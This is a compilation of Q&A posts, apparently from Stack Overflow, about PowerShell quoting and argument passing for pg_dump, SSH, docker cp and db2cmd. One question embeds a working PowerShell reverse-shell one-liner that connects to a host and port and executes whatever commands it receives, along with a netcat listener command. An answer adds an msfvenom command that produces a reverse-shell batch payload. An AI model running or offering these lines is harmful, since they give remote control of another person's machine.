I'm creating a Powershell script to backup 2 PostgreSQL databases using Postgres' pg_dump tool. I'm using Powershell 2.0 on Windows 7 and PostgreSQL 9.3.
The simplified script looks like this:
$postgresDir="C:\PostgreSQL\9.3"
$pgUser="postgres"
$pgPort="5432"
$dbName1="db1"
$dbName2="db2"
$currentBackupFile1 = "C:\temp\backup\1.backup"
$currentBackupFile2 = "C:\temp\backup\2.backup"
& ($postgresDir + "\bin\pg_dump.exe") ("-U" + $pgUser) ("--dbname=" + $dbName1) ("--port=" + $pgPort) ("--file=`"" + $currentBackupFile1 + "`"") -v 2>&1 | out-host
& ($postgresDir + "\bin\pg_dump.exe") ("-U" + $pgUser) ("--dbname=" + $dbName2) ("--port=" + $pgPort) ("--file=`"" + $currentBackupFile2 + "`"") -v 2>&1 | out-host
Everything works as expected when the script is run from Windows Powershell IDE. But when the script is started from commandline or via a batch file like this:
powershell -file pg_dump.ps1
, only the first pg_dump gets executed, the second is simply ignored without any errors. Other Powershell cmdlets that follow after these statements are executed normally.
The problem vanishes as soon as I remove the stderr redirection (2>&1) at the end of the statements, making it
& ($postgresDir + "\bin\pg_dump.exe") ("-U" + $pgUser) ("--dbname=" + $dbName1) ("--port=" + $pgPort) ("--file=`"" + $currentBackupFile1 + "`"") -v | out-host
Also, the problem does not apply to other programs per se. For example, when substituting the pg_dumps with two & dir 2>&1 statements, these statements are both executed when run from a batch script. It may be a pg_dump thing.
Update in reply to Ansgar Wiechers comment.
Using splatting like this:
$exe=($postgresDir + "\bin\pg_dump.exe")
$args1= '-U', $pgUser, '--dbname', $dbName1, '--port', $pgPort, '--file', $currentBackupFile1, '2>&1'
& $exe #args1
leads to pg_dump complaining about having too many command line arguments. Using it like this:
$exe=($postgresDir + "\bin\pg_dump.exe")
$args1 = '-U', $pgUser, '-d', $dbName1, '-p', $pgPort, '-f', $currentBackupFile1
& $exe #args1 2>&1
$args2 = '-U', $pgUser, '-d', $dbName2, '-p', $pgPort, '-f', $currentBackupFile2
& $exe #args2 2>&1
yields the same result as the first example.
Related
I try to get information from a Linux server in a powershell script
I use the Windows forms and i get the informations in a RichTextBox.
There is no problem for some basic commands.
Example :
$infoversion = Invoke-SSHCommand -Index 0 -Command "uname -r"
$Result_Info.text += "Kernel Version : $($infoversion.Output) + ("`n")
But when i use a command with a pipe and the '$' character, it doesn't work.
Example :
$infouptime = Invoke-SSHCommand -Index 0 -Command "uptime -p | awk '{print $2,$3,$4,$5,$6,$7}'"
$Result_Info.text += "Server up since $($infouptime.Output)" + ("`n")
(This command work directly on the server)
I try to set \$ or 'e or '$' or "+chr(38)+" but nothing works
If someone can help me, it will be nice :)
PowerShell uses the backtick ` as the escape character in expandable strings:
$infouptime = Invoke-SSHCommand -Index 0 -Command "uptime -p | awk '{print `$2,`$3,`$4,`$5,`$6,`$7}'"
Alternatively, since you don't actually have any variables that need expanding, you could use a single-quoted string literal - the escape sequence for a literal ' is simply '':
$infouptime = Invoke-SSHCommand -Index 0 -Command 'uptime -p | awk ''{print $2,$3,$4,$5,$6,$7}'''
I would like to run something like this:
$docker_container_name = "iar_build_container"
...
$cp_arguments = $docker_container_name + ":C:/docker_work/IAR/Debug " + $docker_artifacts + "/Debug"
"Copying out the build artifacts: $cp_arguments"
docker cp "$cp_arguments"
The output of this is:
Copying out the build artifacts: iar_build_container:C:/docker_work/IAR/Debug ./docker_artifacts/Debug
"docker cp" requires exactly 2 arguments.
See 'docker cp --help'.
Usage: docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH
Copy files/folders between a container and the local filesystem
If I hard code the docker cp command it works, and if I use the following it works:
docker cp iar_build_container:C:/docker_work/IAR/Debug $docker_artifacts/Debug
So I am having an issue expanding what would be the first parameter that is the container name and colon.
EDIT:
This works, but it feels hacky:
$cp_arguments = "cp " + $docker_container_name + ":C:/docker_work/IAR/Debug " + `
$docker_artifacts + "/Debug"
"Copying out the build artifacts: $cp_arguments"
Start-Process -FilePath "docker" -ArgumentList "$cp_arguments" -Wait
To expand on #nishaygoyal answer. Running executables (e.g. docker) in PowerShell is different than running executables in CMD prompt. In PowerShell, arguments are passed as an array of strings, and not as a space separated series of strings like in CMD prompt. Hence by passing the space separated string of arguments, PowerShell is interpreting it as a single argument, and a single string.
Hence, by simply changing your arguments into an array of strings, and moving the "cp" as one of those items. Things will work:
$docker_container_name = "iar_build_container"
$docker_artifacts = "./docker_artifacts"
$cp_arguments = #("cp", `
"$($docker_container_name):C:/docker_work/IAR/Debug", `
"$docker_artifacts/Debug")
docker $cp_arguments
EDIT:
As #Nick pointed out, we have to use the subexpression operator: $($docker_container_name) in the string to do proper string expansion because PowerShell will interpret $docker_container_name:C: as a variable instead of $docker_container_name. To PowerShell, the colon indicates the scope of the variable, e.g. $global:foo. So we need to use the subexpression operator $() to properly define our variable for string expansion.
Why does using Start-Process like this work?
$cp_arguments = "cp " + $docker_container_name + ":C:/docker_work/IAR/Debug " + `
$docker_artifacts + "/Debug"
Start-Process -FilePath "docker" -ArgumentList "$cp_arguments" -Wait
Well, according to Start-Process it's special in that the -ArgumentList can accept a space separated list of arguments, and it treats them in a CMD prompt style way.
We also can use EchoArgs to see exactly what is being passed as arguments:
$docker_container_name = "iar_build_container"
$docker_artifacts = "./docker_artifacts"
#Original:
$cp_arguments = $docker_container_name + ":C:/docker_work/IAR/Debug " + $docker_artifacts + "/Debug"
PS C:\> EchoArgs.exe docker cp "$cp_arguments"
Arg 0 is <docker>
Arg 1 is <cp>
Arg 2 is <iar_build_container:C:/docker_work/IAR/Debug ./docker_artifacts/Debug>
Command line:
"C:\ProgramData\chocolatey\lib\echoargs\tools\EchoArgs.exe" docker cp "iar_build_container:C:/docker_work/IAR/Debug ./docker_artifacts/Debug"
(Notice that we are passing 2 arguments, cp, and the rest of the string. vs. passing an array:
$cp_arguments = #("cp", `
"$($docker_container_name):C:/docker_work/IAR/Debug", `
"$docker_artifacts/Debug")
PS C:\> EchoArgs.exe docker $cp_arguments
Arg 0 is <docker>
Arg 1 is <cp>
Arg 2 is <iar_build_container:C:/docker_work/IAR/Debug>
Arg 3 is <./docker_artifacts/Debug>
Command line:
"C:\ProgramData\chocolatey\lib\echoargs\tools\EchoArgs.exe" docker cp iar_build_container:C:/docker_work/IAR/Debug ./docker_artifacts/Debug
In this case, you can see it splits out the arguments "correctly"
The way you defined it, docker cp is actually considering $cp_arguments as 1 string and that's why it's complaining about 2 arguments Have a look below
docker cp "iar_build_container:C:/docker_work/IAR/Debug $docker_artifacts/Debug"
And if you try to run it in this fashion it will fail.
Try the below approach in which you don't pass "" to $cp_arguments
docker cp $cp_arguments
You have already defined another way in the question which is a bit hacky butone more approaches would be.
$docker_container_name = "iar_build_container"
...
$cp_arguments_src = $docker_container_name + ":C:/docker_work/IAR/Debug "
$cp_argument_dest = $docker_artifacts + "/Debug"
"Copying out the build artifacts: $cp_arguments"
docker cp "$cp_arguments_src" "$cp_argument_dest"
I'm trying to run the below reverse shell PowerShell command using a .bat file.
powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"
First, I start the netcat listener in Kali:
nc -vv -l -p 4777
I then run the PowerShell command, but I get the following error in Windows 10:
At line:1 char:112
+ ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:160
+ ... 65535|:ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.clos ...
+ ~
Unexpected token '}' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
I've tried many possible ', " and ``` combinations and variations, both in and encasing the command. I'm totally stumped.
Found myself into the same problem. I wonder why a command that runs without errors in CMD doesn't work well if it's executed inside a .bat file. I doesn't make sense at all.
Metasploit is our friend here:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
Source:
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
I am running powershell script over ssh as ssh user#host "powershell -Comand - < script.ps1. It works as expected as long as I start passing arguments.
When I put it as powershell -Command - my args it fails (as documented)
'-' was specified with the -Command parameter; no other arguments to -Command are permitted.
While the other way around powershell my args -Command - it fails with:
The term 'my' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included
, verify that the path is correct and try again.
At line:1 char:3
+ my <<<< args -Command -
+ CategoryInfo : ObjectNotFound: (my:String) [], CommandNotFoundE
xception
+ FullyQualifiedErrorId : CommandNotFoundException
I intend to put in arbitrary list of parameter without any parsing.
Edit:
As I investigate further, it seems I am doing something wrong even when the command is specified explicitly:
(local bash) $ echo '\n' | ssh -i master-key Admin#10.8.55.78 '$SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell' -Command 'Write-Host \$\(\$args.Count\)' "my" "args"
0 my args
It seems that passes no arguments but they are printed on console for some reason. Avoiding the ssh does not seems to change anything:
(cygwin) $ $SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell -Command 'Write-Host $($args.Count)' "my" "args"
0 my args
You can't do that directly, but I think this can be done, if you wrap your script in scriptblock and pass arguments to it:
echo "& { $(cat script.ps1) } 'my' 'args'" | ssh user#host "powershell -Command"
Since -Command parameter can't handle multiline strings, there is a way to pass it in (though not via standard input) using Base64 encoded value of -EncodedCommand parameter, but it's ugly:
ssh user#host "powershell -encodedcommand $((echo "& {"; cat script.ps1 ; echo "} 'my' 'args'") | iconv -f ascii -t utf-16le | base64 -w0 ; echo -e "\n")
This one works as expected:
script=$(cat <<-'SCRIPT'
{
$a=$Args[0];
$b=$Args[1];
# Do not enclose $script into "" to avoid this comment spread till the EOL
Write-Host "This is 'a': $a";
Write-Host "This is 'b': $b";
} # <- call as [[[ -c "& { $script } ... " ]]] if you ommit braces '{}' here
SCRIPT
)
a="THE VALUE OF THE \"a\""
b="B B B B"
powershell -nologo -executionpolicy bypass -c "& $script '$a' '$b'"
output:
> This is 'a': THE VALUE OF THE "a"
> This is 'b': B B B B
Is ther any way in Powershell to pipe in from an virable instead of a file?
There are commands that I need to pipe into another command, right now that is done by first creating a file with the additional commands, and then piping that file into the original command. Code looks somehting like this now:
$val = "*some command*" + "`r`n" + "*some command*" + "`r`n" + "*some command*"
New-Item -name Commands.txt -type "file" -value $val
$command = #'
db2cmd.exe /C '*custom db2 command* < \Commands.txt > \Output.xml'
'#
Invoke-Expression -Command:$command
So instead of creating that file, can I somehow just pipe in $val insatead of Commands.txt?
Try this
$val = #("*some command*1","*some command2*","*some command3*")
$val | % { db2cmd.exe /C $_ > \Output.xml }
You should be able to pipe in from $val provided you use Write-Output or its shorthand echo, but it may also be worth trying passing the commands directly on the command line. Try this (and if it doesn't work I can delete the answer):
PS C:\> filter db2cmd() { $_ | db2cmd.exe ($args -replace '(\\*)"','$1$1\"') }
PS C:\> $val = #"
>> *custom db2 command*
>> *some command*
>> *some command*
>> *some command*
>> "#
>>
PS C:\> db2cmd /C $val > \Output.xml
What happens here is that Windows executables receive their command line from a single string. If you run them from cmd.exe you cannot pass newlines in the argument string, but Powershell doesn't have that restriction so with many programs you can actually pass multiple lines as a single argument. I don't know db2cmd.exe so it might not work here.
The strange bit of string replacement is to handle any double quotes in the arguments: Powershell doesn't quote them and the quoting rules expected by most exe files are a bit bizarre.
The only limitation here would be that $val must not exceed about 32,600 characters and cannot contain nulls. Any other restrictions (such as whether non-ascii unicode characters work) would depend on the application.
Failing that:
echo $val | db2cmd.exe /C '*custom db2 command*' > \Output.xml
may work, or you can use it in combination with the filter I defined at the top:
echo $val | db2cmd /C '*custom db2 command*' > \Output.xml